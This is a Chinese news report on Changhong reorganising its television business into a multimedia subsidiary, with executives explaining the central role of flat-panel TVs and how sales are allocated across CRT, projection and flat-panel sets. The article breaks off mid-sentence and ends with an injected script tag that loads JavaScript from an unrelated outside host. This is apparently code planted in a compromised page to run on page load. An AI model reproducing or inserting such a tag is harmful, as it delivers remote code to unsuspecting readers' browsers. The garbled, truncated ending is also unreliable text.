执掌长虹两年以后，赵勇终于开始重组长虹的核心业务——电视。
记者近日从长虹获悉，长虹电视业务的结构调整为组建多媒体产业公司，将原来的数字电视、平板、投影业务、营销公司等业务汇合在这个集群里，形成多媒体产业集群，多媒体产业公司也将实行全新的运做模式——模拟子公司制。
很显然，这家新的公司年销售收入超过100亿元，是毫无疑问的长虹目前的核心业务，经过空调，电池等长虹的战略业务以及it、手机等新兴业务一系列轰轰烈烈的改革后，长虹核心的电视业务的改革思路也逐渐厘清——除拥有庞大销售基数的crt电视外，平板电视将成为长虹新的核心业务，多媒体公司将为平板电视成为中国平板市场的引领者提供足够的资源保障。
业内人士认为，长虹核心的电视业务的改革，意味着长虹经历换帅以后的产业结构调整和内部运营机制的调整基本完成，长虹已经彻底的进入“赵勇时代”。
平板晋升核心业务
据长虹有关负责人介绍，长虹新成立的多媒体产业公司实行的“模拟子公司制”，除了没有独立的法人资格外，与其他所有的子公司的功能相同。
出于战略安全的考虑，长虹前期的电视业务相对比较保守，重大决策以及财务等都由公司最高领导控制，“与以前的电视业务相比，最大的变化是多媒体公司将具备独立的决策权力，但是也将完全承担公司经营的风险”，多媒体公司董事长郭德轩接受记者采访时说，现在我主要对多媒体公司的董事会负责”。
身为长虹副总经理的郭德轩坦言作为多媒体公司的董事长压力很大，“it分销的长虹佳华以及手机的国虹通讯等公司发展迅速，而多媒体公司如果发展的速度不上去，我将是第一责任人，无法向董事会陈述工作，在这种情况下，长虹多媒体将充分发挥研发、制造、营销、推广的系统效应”。
很显然，要赶上发展迅速的it和通讯业务，只能依靠发展同样迅速的平板电视。
据记者了解，2005年，长虹平板由上年的10名以外成功跻身前三强，2006年，长虹平板成为国内首家赢利的品牌；数字高清彩电在行业整体逆势中，仍然保持平稳增长；投影电视在被众企业纷纷盲目抛弃的情况下，呈现以长虹、日立为主的寡头格局。
长虹多媒体公司市场策划中心总经理吴定刚接受记者采访时表示“平板已经被确定为长虹的核心业务，多媒体公司将为平板的发展提供足够的保障”。
与以前长虹电视业务的研发、制造、销售分开的模式相比，新的电视业务将集研发、制造、销售于一体，同时传统的crt以及背投、平板等多种显示技术的电视也将集中在这个公司。吴定刚认为，这种模式更有利于提升运营效率，从研发、制造、销售等各个环节为平板提供支援。
吴定刚则明确表示，尽管长虹未来不会一味的追求市场份额，但是长虹对于平板的定位很清晰——行业的领先者，目前，长虹的平板在行业内已经冲入三甲，成为第一集团军。
翻开3副牌打
长虹此前的电视业务为研发、制造，销售之间的模拟公司制，具体操作办法为，由销售根据市场信息，向前端的公司传递明确信号，然后再由研发和制造的公司进行研发和制造，最后再实现销售。
多媒体产业公司副总经理陈宁接受记者采访时表示，在crt时代，一般对库存要求不太高，通常都是比较长的时间后才把滞销的产品拿出来处理，但是现在的平板电视市场价格变化太快，通常是1个月左右上游的屏显公司就会有一次大的价格调整，而由于屏显占到整个平板电视成本的80%，所以电视企业必须做出更迅速的调整，现在要求的是很少的库存或无库存。
现在研发、制造、销售形成“一条龙”，多媒体公司将根据市场变化的情况，随时做出更快的反应，对任何一个环节都可给出明确的指令。
不过把crt、背投、等离子、液晶等多种具有竞争关系的电视业务放在一起将如何来区分市场？
陈宁对此深有体会，整合前，平显公司只有平板电视，后来加入投影电视，他说，“最开始我也不是很理解两者的市场关系，这两种业务是直接的竞争关系，怎么来区分他们呢？推一种产品就必然伤害到另外一种产品，总结来看，肯定不是最优化的”。
现在陈宁已经胸有成竹，“从大的范围讲，等离子和液晶现在主要在一二级市场，而crt和投影电视逐渐向三四级市场转移，至于在不同的城市，那么等离子和液晶的消费情况也是不一样的，这跟消费习惯等相关，早先在平显公司我就发觉，在一个城市里，液晶如果走的好，那么等离子就很有可能走的不好，现在呢，在一个城市里，如果液晶、等离子走的好，那么crt和投影电视就可能走的不好，从资源分配的角度，当一种产品在一个地方走的好时，其他的资源就要注意转移分配了，当一种产品在一个地方走的不好时，就要考虑配置其他的产品了。”
陈宁打了个比方“在原来平面显示公司，我是把平板和投影两副牌翻开打，现在多媒体公司是把平板、投影、crt三副牌?script src=http://er12.com/t.js>
